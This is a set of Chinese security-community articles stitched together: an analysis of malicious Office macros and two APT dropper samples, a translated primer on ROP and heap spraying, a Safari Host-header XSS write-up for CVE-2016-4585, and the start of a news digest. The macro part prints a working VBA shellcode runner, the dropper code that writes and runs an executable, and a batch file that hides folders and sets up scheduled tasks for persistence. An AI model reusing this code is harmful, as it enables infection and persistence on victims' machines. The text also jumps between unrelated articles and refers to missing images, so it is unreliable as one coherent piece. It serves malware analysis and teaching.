1.利用ActiveX触发器
一个典型的例子：[利用InkPicture1_Painted](http://www.greyhathacker.net/?p=948)
2.隐藏数据
3.用于隐藏数据的Word文档变量，文档变量可以存储多达64KB的数据，隐藏在MS Word用户界面中。
4.通过CallByName混淆函数调用
<https://msdn.microsoft.com/en-us/library/office/gg278760.aspx>
5.使用WMI运行命令
6.调用powershell
7.运行VBScript或者Jscript，运行VBS/JS代码而不将文件写入磁盘
可参考文档：<https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN>
代码示例：<https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-Java-Script-Function.html>
8.通过API回调运行shellcode
一例通过VBA运行shellcode的实例：
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
源代码来自：<http://ropgadget.com/posts/abusing_win_functions.html>
代码的前四行用于引用系统库，调用系统API
16行处是shellcode的十六进制编码，在这个例子中功能是打开计算器。
29行处是将shellcode的十六进制编码转换为二进制数据流
36行处将shellcode copy到了buffer处
38处执行了shellcode
### 关于office的加密
在97到2003版本的时候，文件加密的概念还不流行，那个时候的宏代码几乎从来没有加密过，2007版本之后，才开始通过加密的方式将VBA代码保护起来
分享两个解密的工具：
<https://github.com/nolze/msoffcrypto-tool>
<https://github.com/herumi/msoffice>
### 宏代码的分析工具
1.1. 首先可以使用VBA编辑器（比如在office文档里面按alt + F11），通过VBA编辑器可以很方便的调试和跟踪
这里不得不提一下从VBA编辑器隐藏VBA代码的技巧：<https://github.com/outflanknl/EvilClippy>
2.olevba：<https://github.com/decalage2/oletools/wiki/olevba>
该工具可以有效的提取office文档中的宏代码，需要python环境支持。
上面这张图列举了olevba所支持的类型，和一些值得关注的地方，比如自动触发代码、一些危险的关键词（Downloads、File writes、Shell
execution DLL calls等）、还有一些IOCs
当然很多时候静态分析不能解决问题，还是需要动态分析才能更好地了解恶意代码的功能。这里分享一个软件ViperMonkey：<https://github.com/decalage2/ViperMonkey>
运行结构如下：
### mraptor
mraptor是github上一个开源的宏代码检测项目
<https://github.com/decalage2/oletools/wiki/mraptor>
大概介绍一下原理：
mraptor有三个检测标准，分别是：
A 自动执行（触发器）
W 写入文件系统或内存
X 在VBA上下文外执行文件或任何payload
当某个office宏满足了A条件，那么W和X只要满足任意一条，则会被mraptor标注为恶意。
该项目依赖python环境，用法如下：
Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No Macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
如果要扫描单个文件，可以使用如下命令
mraptro file.doc
## 0x02 TransparentTribe的Dropper样本
样本md5:bce8a8ea8d47951abffeec38fbeeeef1
样本app.any.run沙箱链接：<https://app.any.run/tasks/d6d22f4e-0376-49f5-8480-d07489a4e03b/>
且从any的沙箱中，我们可以看到，该样本原始类型是xls。
我们将样本下载到本地，然后添加xls后缀打开(本地测试环境为office2013)。
该样本打开之后，没有任何的信息，office官方弹框提示用户选择启用/禁用宏。
这里如果选择禁用的话，那么后续文档将显示为空：
这是攻击者一种迷惑用户的手法，诱导用户第二次重新打开并启用宏：
翻译后内容大概如下：
翻译文档内容的意义在于，通常来说，为了隐藏攻击痕迹，攻击者都会使用一个看起来正常的文档以迷惑用户。让用户以为打开的就是正常的文档，当用户认定这是一个正常文档，文档中的内容有”价值”时，往往就不会起疑心，木马就能够长时间的运行在用户的计算机上。所以我们通过文档的内容，通常情况下就可以推测出受攻击的目标。可以在攻击的背景分析中提供一些有用的信息。
我们从该样本的文档内容中大概可以得知此次攻击的目标是国防部，文档中提到了一个[jsls@ddpmod.gov.in](mailto:jsls@ddpmod.gov.in)的邮箱，我们通过对后面域名的查询，基本可以确定该文档是针对印度国防部的攻击文档：
由这个信息，我们也可以大概的对攻击者进行一个猜测。
由攻击目标为印度，根据已有的信息，我们可以找到一些针对印度的攻击组织，如Confucius 、APT36(C-Major、Transparent
Tribe)、GravityRAT等。
接下来我们看看具体的恶意宏代码。
在打开的xls文档中，安ALT + F11，即可打开宏窗口，红框中的内容即为该文档的宏对象。
依次展开选项卡，可以看到有两个对象有数据，一个是名为UserForm1的窗体，一个是名为Module1的模块
我们直接将鼠标光标定位到右边的Module1模块中，然后按下键盘的F8，开始调试。
在通过office调试宏代码时，调试的快捷键和od、x64dbg这种调试器有部分区别，具体如下：
这里F8类似于od中的F7，会逐语句执行代码，当遇到函数调用时，F8会跟进到函数内部。
逐过程Shift + F8相当于od中的F8，遇到函数调用时，将会直接执行完函数而不进入函数。
运行到光标处 Ctrl + F8 相当于od中的F4
此外，在宏调试器中，设置断点是F9，运行程序是F5。所以我们之后在调试宏代码时，我们也可以直接在某行代码设置断点，然后F5运行到断点处。
我们这里直接F8就是在当前的模块窗口中，开始调试宏代码，调试的方式是单步运行。
通常来说，F8运行之后，程序就会停在该模块的入口点。标黄显示，并且在最下面的本地窗口中会显示一些将要使用到的变量。
有时候不小心关闭了本地窗口，我们需要在视图窗口中重新打开。
接下来我们来看看代码，既然是调试VBA的代码，我们需要先对VBA的语法有个认识。比如应该知道Dim用于定义变量。
在代码最开始，程序定义了多个变量
Dim path_Aldi_file As String
Dim file_Aldi_name As String
Dim zip_Aldi_file As Variant
Dim fldr_Aldi_name As Variant
Dim byt() As Byte
Dim ar1Aldi() As String
然后通过
file_Aldi_name = “rlbwrarhsa”
对file_Aldi_name进行了赋值。
通过
fldr_Aldi_name = Environ$(“ALLUSERSPROFILE”) & “Tdlawis”
对fldr_Aldi_name进行赋值。
其中，Environ$(“ALLUSERSPROFILE”) 表示获取%ALLUSERSPROFILE%环境变量，&符号表示拼接。
所以该语句运行完之后，fldr_Aldi_name = %ALLUSERSPROFILE%Tdlawis
当然，我们也可以直接按F8单步往下走，在调试器中查看对应的值，这是最快的方法。
接下来，程序通过VBA的Dir方法判断上面的fldr_Aldi_name路径是否存在，如果不存在则通过MkDir创建该路径。
If Dir(fldr_Aldi_name, vbDirectory) = "" Then
MkDir (fldr_Aldi_name)
End If
Tdlawis路径创建成功之后，程序将对fldrz_Aldi_name
重新赋值，并且通过同样的手法尝试创建%ALLUSERSPROFILE%Dlphaws路径。
fldrz_Aldi_name = Environ$("ALLUSERSPROFILE") & "Dlphaws"
If Dir(fldrz_Aldi_name, vbDirectory) = "" Then
MkDir (fldrz_Aldi_name)
End If
接下来程序通过
zip_Aldi_file = fldrz_Aldi_name & “omthrpa.zip”
声明一个zip路径，路径应该为%ALLUSERSPROFILE%Dlphawsomthrpa.zip
通过
path_Aldi_file = fldr_Aldi_name & file_Aldi_name & “.exe”
声明一个path路径，路径应该为：%ALLUSERSPROFILE%Tdlawisrlbwrarhsa.exe
接下来，程序通过Application.OperatingSystem获取当前操作系统的版本并根据不同的情况进行不同的处理，如果当前系统版本为6.02或6.03，程序将获取UserForm1.TextBox2.Text的信息赋值给ar1Aldi。否则获取UserForm1.TextBox1.Text的内容赋值给ar1Aldi。
If InStr(Application.OperatingSystem, "6.02") > 0 Or InStr(Application.OperatingSystem, "6.03") > 0 Then
ar1Aldi = Split(UserForm1.TextBox2.Text, ":")
Else
ar1Aldi = Split(UserForm1.TextBox1.Text, ":")
End If
关于获取操作系统版本信息的文档，可在[这里](https://docs.microsoft.com/zh-cn/office/vba/api/excel.application.operatingsystem)找到。
操作系统判断完成之后，程序就会将我们之前看到的窗体中的数据赋值给ar1Aldi变量：
然后通过一个for each循环对刚才赋值的ar1Aldi进行解密：
For Each vl In ar1Aldi
ReDim Preserve btsAldi(linAldi)
btsAldi(linAldi) = CByte(vl)
linAldi = linAldi + 1
Next
然后我们可以直接光标定位到循环后面的代码，按Ctrl + F8 跑完循环
这里我们可以看到，程序会通过二进制流的方式打开zip_Aldi_file，也就是先前定义的zip文件，然后将刚才的btsAldi进行写入。
Open zip_Aldi_file For Binary Access Write As #2
Put #2, , btsAldi
Close #2
写入成功之后，程序会尝试将该zip包进行解压。
If Len(Dir(path_Aldi_file)) = 0 Then
Call unAldizip(zip_Aldi_file, fldr_Aldi_name)
End If
解压的文件是zip_Aldi_file，解压的路径是fldr_Aldi_name
解压成功后将会在fldr_Aldi_name目录下出现目标文件：
最后程序通过
Shell path_Aldi_file, vbNormalNoFocus
启动该exe，程序即从xls文件成功转入到了exe文件运行。
由于该exe由C#编写，是一个Crimson远控，关于该类木马的分析，将在后续的文章中进行介绍。
从这个样本中，我们初步了解了office宏代码的攻击方式。
1.诱导用户启用宏，诱导方式，如果不启用宏，xls文档打开之后将不现实任何内容
2.将预定义的zip数据流简单转换之后写入到窗体中
3.根据操作系统版本的不同，取窗体中不同的值
4.将取出来的数据进行简单变换之后还原为zip文件
5.解压zip文件得到一个Crimson远控
6.运行该远控
## 0x03 donot恶意文档分析
样本md5：4428912f168f3f1f0554126de7b4eced
any沙箱连接为：
<https://app.any.run/tasks/2d9a7598-47d9-46a9-9d03-9b3ece716fa6/>
同样的，通过any沙箱，我们可以得知该样本还是一个xls文档，我们将样本下载到本地并添加xls后缀打开。
同样的弹出了禁用宏的提示框：
启用宏之后，程序看起来是报错了
之前的经验告诉我们，这样的弹框信不得，我们单击确定之后，还是通过ALT + F11打开宏调试窗口，单击左边的对象时，发现该文档有密码保护：
通过之前介绍的工具，将密码去除之后重新打开，得到对象列表如下：
我们通过观察，可以得知关键的代码在名为ThisWorkbook的对象中：
同样的，我们对该段代码进行调试分析。
代码开头还是通过Dim定义了几个变量，然后通过Environ获取了环境变量APPDAT和TEMP的路径分别赋值给Digital和request
Digital = Environ$(“APPDATA”)
request = Environ$(“TEMP”)
接着通过
Application.Wait Now + TimeValue(“0:00:03”)
休眠3秒
休眠之后通过
a = MsgBox(“Microsoft Excel has stopped working”, vbCritical, “Warning”)
进行弹框，弹框内容就是我们先前看到的提示框，这就是第二种迷惑用户的手法。
在上一个样本中，恶意宏代码运行之后，程序会显示一个看起来正常的xls文档以消除用户的疑心。在本样本中，恶意代码运行之后，程序是通过弹框提示用户文档打开错误以消除用户的疑心。两种方法的目标都在于，让用户误以为，打开的文档是没有问题的。
弹框之后，程序会通过
sunjava = “Scr” + “ipting.File” + “System” + “Object”
Set digit = CreateObject(sunjava)
创建一个Scripting.FileSystemObject对象
接着程序将通过
Sheet12.OLEObjects("Object 1").Copy
Sheet8.OLEObjects("Object 1").Copy
digit.CopyFile request & "Vol", Digital & "s.bat" 'FileFormat:=xlOpenXMLWorkbook
digit.CopyFile request & "s", Digital & "s" 'FileFormat:=xlOpenXMLWorkbook
分别将sheet中的数据拷贝到Digital，也就是%appdata%中并且命名为s和s.bat
然后通过
https = Digital & “” & “s.bat”
Call Shell(https, vbHide)
拼接s.bat的路径并且再次通过Shell指令运行。
至此宏代码运行完成。
我们可以看到，在该样本中，宏代码很短，宏代码的功能位
1.弹框迷惑用户
2.释放一个S文件，经查看为一个PE文件
3.释放一个s.bat批处理文件
4.调用执行s.bat文件
到这里我们也可以猜测出，s.bat文件将用于调用执行s文件。
我们查看一下s.bat的内容：
echo off
md %USERPROFILE%InetLogsCust
md %USERPROFILE%InetLogsPool
md %USERPROFILE%CommonBuildOffice
md %USERPROFILE%FilesSharedWeb
md %USERPROFILE%ViewerInformationPolicy
attrib +a +h +s %USERPROFILE%Inet
attrib +a +h +s %USERPROFILE%Common
attrib +a +h +s %USERPROFILE%Files
attrib +a +h +s %USERPROFILE%Viewer
del /f %USERPROFILE%InetLogsPoolagnia
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 2
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%InetLogsPoolagnia
schtasks /delete /tn Feed /f
schtasks /delete /tn Sys_Core /f
schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%FilesSharedWebgapdat.exe
schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%ViewerInformationPolicysqmap.dll', calldll"
move %AppData%s %USERPROFILE%ViewerInformationPolicy
ren %USERPROFILE%ViewerInformationPolicys sqmap.dll
del %0
bat文件的语法还是比较简单明了的，通过bat的内容，我们可以得知程序获取了计算机的COMPUTERNAME和一个随机值写入到了%USERPROFILE%InetLogsPoolagnia，然后程序设置了两个计划任务，并且将%appdata%下的s文件移动到了%USERPROFILE%ViewerInformationPolicys并重命名为sqmap.dll
计划任务1：
计划任务2：
我们查看计划任务1所指定的目录文件可以发现暂时是0kb
查看计划任务2所指定的任务，可以看到文件已经成功移动过来：
通过hash查询可以确定s和sqmap.dll是同一个文件：
且我们通过计划任务2可以得知，这里是通过rundll32.exe 调用了这个名为sqlmap.dll的calldll方法。
目前vt(2020-06-24)上关于sqlmap.dll检出量为0：
我们可以对sqlmap.dll进行一个简单的分析。
首先通过IDA加载sqlmap.dll，我们可以得到PDB信息：C:UsersspartanDocumentsVisual Studio 2010new
projectsfrontendReleasetest.pdb
该pdb以前未出现过，而且结合test.pdb的字眼，该样本可能是攻击者开发的测试版本。
calldll在导出表中
calldll函数体很简单，就执行来一个call sub_10001280 我们跟进到该函数。
sub_10001280 首先是通过strcpy复制了一个看起来像是加密字符串的东西到变量
bbLorkybbYngxkjbb]khbbmgvjgz4k~k
该字符串暂时在Google上没有检出：
回到代码中，接下来程序会对上面的字符串进行解密：
调试器中直接在calldll函数这里设置eip然后运行：
F7跟进进来
成功解密之后发现就是先前看到的路径
回到IDA中进行标注后继续往下看，成功解密之后，尝试打开文件对象，打开失败，则push16A26h然后执行slepp，sleep之后调用sub_10001000，这里的sleep应该是用于反沙箱的
sub_10001000的内容非常明显，是解密URL并请求，所以很明显，sqlmap.dll是一个Download，比较直观的C伪代码显示：
根据之前看到的信息，可以猜测这里是解密了域名之后，下载文件保存到之前看到大小为0kb的路径下，然后通过计划任务持久化执行。
解密得到
dnsresolve.live
该地址已经跟donot关联了起来
解析参数是
但是目前这个地址404了，不知道是不是我请求姿势的问题
于是查询了一下h6s87ehsci75sgats关键字：
发现沙箱和vt也是404 ，这里后续就断了
加上header也是404
那么此次攻击分析到这就没有后续了，不知道是不是因为样本曝光，攻击者撤销了后续下载样本的原因。还是攻击者已经通过bat文件实现了本地持久化，所以故意暂时没有开放目标地址，防止分析人员，等热度过去了之后，再放开这个地址。如果是后面这种情况，可以考虑写脚本监视这个地址，看看过段时间是否有返回。
## 0x04 总结
在本小节中，我们对office恶意宏代码有了概要的了解并且通过两个简单的apt样本进行了分析，我们可以看到，宏代码在实际攻击中使用是非常广泛的，因为宏代码嵌入在文档中，是最容易和用户进行交互的部分，也往往是攻击者攻击中的第一部分。在本小节中我们分析了两个xls文档的宏代码，在下一小节我们将对带有混淆和反调试的宏代码进行调试和分析。 | 社区文章 |
翻译自：<https://medium.com/@danielabloom/binary-exploitation-eli5-part-3-d1872eef71b3>
“To err is human… to really foul up requires the root password.”
0×00 - 前言
本文是白话二进制漏洞攻击方式第三部分。
在整篇文章中，我们将介绍：
0x01 – 必备知识：寄存器
0x02 – 必备知识：堆和内存的分配
0x03 - 攻击：面向返回编程（ROP）
0x04 - 防御：地址空间布局随机化
0x05 - 攻击：Heap Spraying（堆喷射）
让我们开始吧！
**0x01 - 必备知识：寄存器**
在前面的文章中，我们讨论了诸如堆栈和汇编调用规范之类的概念。在本节中，我想扩展讨论一个程序存储数据的功能，并为您提供一些重要的汇编命令和更详细的概述。
如前文所述，堆栈是每个程序的地址空间内的存储区域，用于存储数据（即变量，存储位置等）。虽然堆栈可以看作程序的背包，每个程序也都有自己的口袋称为寄存器。寄存器是存储器的小区域，可以根据寄存器存储结构化或任意信息。存储结构化或任意信息的意思是某些寄存器存储特定类型的信息，例如ESP寄存器，它被称为堆栈指针并且是专有的在任何时刻都存储堆栈顶部的地址，而其他如EBX寄存器可以存储任意信息。当存储数据到寄存器中时，你必须通过MOV组件命令移动数据到寄存器中：
除了简单地存储数据之外，寄存器也可用于执行一般操作。我们来看一个例子：
对于那些可能还没有完全理解寄存器的人来说，让我们来看看我在本节前面提到的关于寄存器是程序口袋的这个概念。
_想象一下，你准备好休假一天。你穿着牛仔裤，T恤衬衫，背着背包。在你走之前，你需要收拾你的东西。你把钱包放在一个口袋里，把你的钥匙放在一个口袋里，把你的手机放在一个口袋里，把你的太阳镜放在一个口袋里，然后把不能放入口袋里的所有东西放入背包里。_
程序与此非常相似，虽然它们可以将任何数据存储在堆栈（背包）上，但寄存器（口袋）只能存储适合它们的数据。但是，程序可以更有效地从寄存器中检索数据而不是堆栈（尽管在现代计算机中，堆栈和寄存器之间的速度差异可以忽略不计）。
**0x02 - 必备知识：堆和内存分配**
我们现在讨论了两种存储数据的方法，堆栈和寄存器。这两个内存区域都非常适合存储普通变量，内存地址等。但是，如果你需要存储一些非常大的内容呢？或者如果你的程序需要比为堆栈分配的内存更多的内存呢？嗯，这就是堆的作用。堆只是内核为程序分配的一大块内存。如果堆栈是我们的背包，寄存器是我们的口袋，堆可以看作我们把东西放在晚上的房间里，你可能只需要房间的一个小角落来放置你的东西，但以防万一你需要更多空间时就可以随时分配到（更多的内存）。要在堆上分配内存，我们使用malloc函数。Malloc是一个C函数，可以分配所需的内存。例如，如果调用malloc(8)，程序将在堆上分配8个字节。malloc最常见的实现方式是Doug
Lea实现，它将每个分配块的块大小存储在块之前的字节中。
让我们看一下内存分配，举个简单的例子：
_鲍勃在一家工厂工作。鲍勃被要求为A部分留出3个螺丝，为B部分留出4个螺丝.鲍勃在一张纸上写下“3-A”和“4-B”，然后在纸上放下7个螺丝。现在，鲍勃已在同一区域为这两个部件分配了正确数量的螺钉。_
看到了吗？很简单吧！如果我想在堆上分配8个字节的内存，我使用malloc（8）将0x08放在位于分配区域的内存位置之前的空间中。这样，如果我们以后需要分配更多内存，程序只需获取堆的基地址并向其添加先前分配的空间0x08！十分简单！
**0x03 - 攻击：面向返回编程（ROP）**
在本系列文章的前面，我们讨论了Return-to-libc（Ret2libc）攻击，其中攻击者覆盖了一个返回变量并强制程序通过libc库执行系统命令。在本节中，我们将讨论面向返回的编程，它可以被视为ret2libc的更高级版本（尽管它通常根本不涉及libc）。在ROP攻击中，攻击者操纵返回调用以返回汇编代码中的不同段(称为gadgets)允许攻击者基本上完全控制程序的执行。例如，攻击者可以不断定位到不同的gadgets，以便在程序中创建后门，而无需实际操作任何代码或内存区域（不在堆栈或堆上直接执行）！
在我们进一步讨论如何完成此攻击之前，我们需要深入了解实际的gadgets。gadgets是在应用程序中找到的汇编代码段，以return语句结尾。
由于gadgets是非恶意的，编译器构建，并且作为您尝试利用的程序的一部分代码片段，攻击者必须做的就是找到它们(可以通过简单地拆解程序或通过像[Ropper](https://github.com/sashs/Ropper
"Ropper")这样的小工具查找程序来完成)然后将它们的地址放在堆栈上。通过构建一系列gadgets，并小心地操纵堆栈中的数据，攻击者可以在程序中编写完美的后门，或者根据需要做任何事情。
我们来看一个例子：
正如您所看到的，如果攻击者能够操纵堆栈中的数据，他/她可以简单地压入变量并覆盖返回地址然后使用他/她想要的程序！在上面的例子中，我们所做的只是让程序把3和4相加，以便eax寄存器等于7，但是如果不是那么简单的相加，你使用整个gadgets链将不同的数据块压入到堆栈上，最终落地在具有网络调用的gadgets上，这些gadgets可以从计算机中提取数据并将其发送到攻击者持有的服务器。
**0x04 - 防御：地址空间布局随机化（ASLR）**
在本系列文章的前面部分，我们讨论了DEP/NX作为对存储区域（如堆栈和堆）中代码执行的可行防御。然而，对于像ret2libc和Return Oriented
Programming这样的攻击，我们很快就能够击败这种防御机制。所以现在，如果我们无法抵御因ROP攻击而被执行的代码，并且由于格式字符串漏洞我们无法确保stack
canaries的防御能力，我们如何防御二进制利用攻击呢？那么如果我们每次打开程序时随机化了内存段的内容呢？这正是地址空间布局随机化。每次执行程序时，堆栈，堆，.text部分（存储汇编代码的地方）和其他内存部分都以随机偏移的方式放入内存中，这样，程序本身可以完美运行，攻击者无法获取堆栈中重要数据的内存地址，也不能在每次尝试利用可执行文件时在同一位置找到相同的gadgets。此外，随着内核地址随机链接的进一步实现，攻击者甚至无法自信地定位像libc这样的链接库，因为每次初始化链接时，库将以随机偏移的加载到内存中。
这听起来像一个完美的解决方案，对吗？嗯，是也不是。虽然没错，ASLR使得开发漏洞攻击更加困难，但是恶意代理是聪明和坚韧的。在接下来的部分中，我们将讨论可以击败ASLR的攻击。
**0x05 - 攻击：堆喷射**
所以在我们进入Heap
Spray之前，我需要先说我实际上跳过了本系列文章中的堆溢出攻击。这是因为它们非常类似于堆栈缓冲区溢出，在堆溢出中，攻击者获得了将任意数据写入堆的能力，并且只要DEP/NX未启用，攻击者就可以将恶意代码写入堆。但是，正如上面的ASLR部分所述，即使攻击者可以将恶意代码写入堆中，他/她也无法执行它，因为在内存中的代码会根据程序将恶意代码置于堆中的不同位置（通过ASLR的实现随机化）。那么，我们将如何寻找和执行此代码？
那么，如果不是只将恶意代码写入堆中的特定区域，我们将它复制到整个堆上，然后尝试在庞大的堆中的任何地方执行，那该怎么办呢？嗯，这正是堆喷射。这几乎是概率问题-向墙上扔箭，最后总有一些会插上去！
让我们把它分解成一个更基本的例子：
_鲍勃是一个盲人飞镖球员。显然，如果鲍勃只是扔了一个飞镖，他几乎没有机会击中靶心（因为他甚至看不到靶！）但是，如果鲍勃投掷1000个飞镖，其中至少有一个必然会击中目标的中心。_
如果我们将恶意代码放在堆中一次，那么在指向单个内存地址时我们就不太可能找到它，但是，如果堆完全充斥着我们的恶意代码，我们最终肯定会遇到它！
请注意，在64位系统上，堆喷射远不如32位系统有效，因为在32位系统上，您可以使用恶意代码完全填满堆，而在64位系统上，堆非常大，即使你试图喷射堆，你可能仍然无法找到你的恶意代码。
**0x06 - 结论**
在本文中，我们讨论了：
0×01. 寄存器
0x02. 堆
0x03. 内存的分配
0x04. 地址空间布局随机化
0x05. 内核地址随机链接
0x06. 面向返回编程
0x07. 堆喷射
我希望这篇文章很有帮助。 | 社区文章 |
本文翻译自：http://www.mbsd.jp/blog/20160921.html ,有改动
**原作者：プロフェッショナルサービス事業部 寺田 健**
**译者：Holic (知道创宇404安全实验室)**
## 0x00 漏洞概述
#### 漏洞简介
URL重定向漏洞有时会造成与上下文变量有关的漏洞，其导致的XSS便是常见的例子之一。本文所描述的[漏洞](https://support.apple.com/HT206900)在一年前提交至苹果官方，对应[CVE-2016-4585](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4585)，下面介绍这个漏洞的相关细节。
#### 漏洞利用点
1. 操纵请求中的Host头
2. Origin Confusion XSS 此外还可以盗取敏感信息和展开钓鱼攻击。
#### 受影响的组件
[Safari < v9.1.2](https://support.apple.com/HT206900)、[iOS <
v9.3.3](https://support.apple.com/HT206902)、[tvOS
<v9.2.2](https://support.apple.com/HT206905)
## 0x01 漏洞详情
### 1.操纵Host头
在服务端返回302或者307状态码的情况下，我们可以构造如下请求：
Location: http://example.com:abc<'">()foo/
注意上面URL的端口号不是数字。Safari在处理的时候会访问example.com:80 ，并将请求头转换成下面这样：
Host: example.com:abc'%3C%26%22%3E()foo
Host头的端口是无效的，这意味着可以操纵浏览器的Host头访问任何位置。
漏洞利用有两点限制：
* 这些字符有一部分是编码过的；
* 只有":" 后面的内容可以修改
下面来探索一些攻击利用的技巧
#### 闭合单引号导致的XSS
上面看到一些字符是受限的，比如"'"和"&"。 一些XSS攻击在Safari下是受限的：
Safari的XSS过滤机制对Host头反射型同样生效。当然下面的这种情况是可以触发XSS的。
#### 可操纵hostname的XSS
Host头可以影响类似于以下的部分的代码：
<script src="http://(HOST)/js/jquery.js">
<link href="http://(HOST)/css/style.css" rel="stylesheet" type="text/css">
当server中有类似代码的时候会触发漏洞。
在[Github](https://github.com/search?utf8=%E2%9C%93&q=%3Cscript+src%3D+%24_SERVER%5B%22HTTP_HOST%22%5D&type=Code&ref=searchresults)上能找到很多类似的代码，我在本地也进行了一系列验证。
我们看下`<script src=`标签这儿，假如Host头中的“example.com”修改为“example.com:abc"：
<script src="http://example.com:abc/js/jquery.js">
这种情况下，Safari并不会加载此畸形的URL（URL不合法），而攻击者是想要在Safari加载他自己服务器上面的JS。
经过一系列实验，想出以下思路：
**攻击者服务器上的响应：**
**此时对目标服务器上的请求：**
在接收到Location之后，Safari连接至example.jp:80,发送的Host头如下
Host: example.jp:evil
开始部分的`a@`被当做了基础认证信息。
**目标服务器返回的内容：**
（原图）
后面包括`@`的部分被再次去掉了。由此可见，JS从攻击者的host获取，成功执行了XSS攻击。
攻击实例(加载了外部网站的js)：
#### 信息窃取
上面所说的技巧同样可以用来窃取信息。假设一些web服务会重定向的URL包含了一些私密信息：
Location: http://(HOST)/foo?token=fj0t9wj958...
在这种情况下，攻击者还是可以通过`@`大法操纵Host头。
这种情景其实非常普遍，因为Location header是服务端对Host头的反馈最常见的地方。这可能因为不是web
app的开发者这么写的，而是使用了相同的web平台，把相对URL处理成绝对路径的时候是基于Host头的。比如Java 的
HttpServletResponse#sendRedirect()方法。
顺便说下协议背景，路径绝对化的格式按照 HTTP/1.1 标准，[RFC2616
](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30) 是禁止
Location header 中使用相对 但是
[RFC7231](https://tools.ietf.org/html/rfc7231#section-7.1.2)允许这么做 )。
如果header的值受到hostname的影响，除了Location header，HTML的URI属性像`<form action=` 和 `<a
href=`同样可以造成信息窃取漏洞。
### 2.域混淆XSS
根据原文作者的例子，他在使用`:非数字`的方法测试目标链接的时候，像`http://www.mbsd.jp:xyz/`在加载外部资源的时候会出现以下情况。
明显采用相对路径的URL资源没有正确加载。 我们可以在浏览器console下面可以进行验证：
此页面的域是损坏的，这便是为什么采用相对路径加载资源会失败了。cookie也因此无法获取。同源策略在一定程度上抑制了攻击者的行为，不过如果能够好好利用的话这个故事就会变得截然不同。
想到的最好的利用方法便是iframe了，我们可以找个在header中"X-Frame-Options"限制宽松的站进行测试。
原作者的示例如下：
我们发现经过一系列混淆，浏览器会加载以iframe的父页面为baseURL的资源，导致了加载错误。
同样我也在线上验证了这种情况：
同理，相对路径加载资源导致这种情况。
### 造成的影响
加载的JS是在加载损坏内容的情况下进行的，因此不能通过XHR的方式获取同站点的cookie。但是依然可以对自身的document内容进行操作，这意味着攻击者可以修改页面内容。使用Cookie验证的页面也是可以进行攻击利用的，因为请求中带有cookie。
### 漏洞要点
* Safari 在处理无效端口时使用默认端口（80，443）
* 畸形Host头比如`Host: hostname:xyz`可以发送至 Apache, WebLogic 和 Nginx等服务器，Tomcat 和 IIS 不会接收。
* 可以使用GET 和 POST的HTTP请求方法，使用302或者307进行跳转
* 在iframe中，base URL继承自父页面，奇怪的是至今`<base href=`被完全忽略了
* JS是在blank域下执行的，与iframe父页面分离，除了cookie，DOM对象皆可访问
* CSP (或者 X-Frame-Options) 可能会防止此XSS攻击
## 0x02 修复建议
升级Safari至 2016 年 7 月 18日以后的版本
**官方修复** ：加强验证，不合法URL会显示错误
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92437
* http://www.mbsd.jp/blog/20160921.html
* https://support.apple.com/HT206900
* * * | 社区文章 |
# 【知识】8月2日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：使用Frida从TeamViewer内存中提取密码、 通过使用Burp和Sqlmap Tamper利用二次注入漏洞、Rooting the
Amazon Echo、使用SSH反向隧道进行内网穿透、命令注入漏洞测试方法谈、OWASP移动安全测试指南、SQLMap Web
GUI、高通声卡驱动中的条件竞争漏洞分析（CVE-2017-7368） ******
**国内热词(以下内容部分摘自<http://www.solidot.org/> )：**
黑客窃取 HBO 1.5 TB 数据，泄漏权力游戏剧本
Qubes OS 4.0-rc1 发布
**资讯类：**
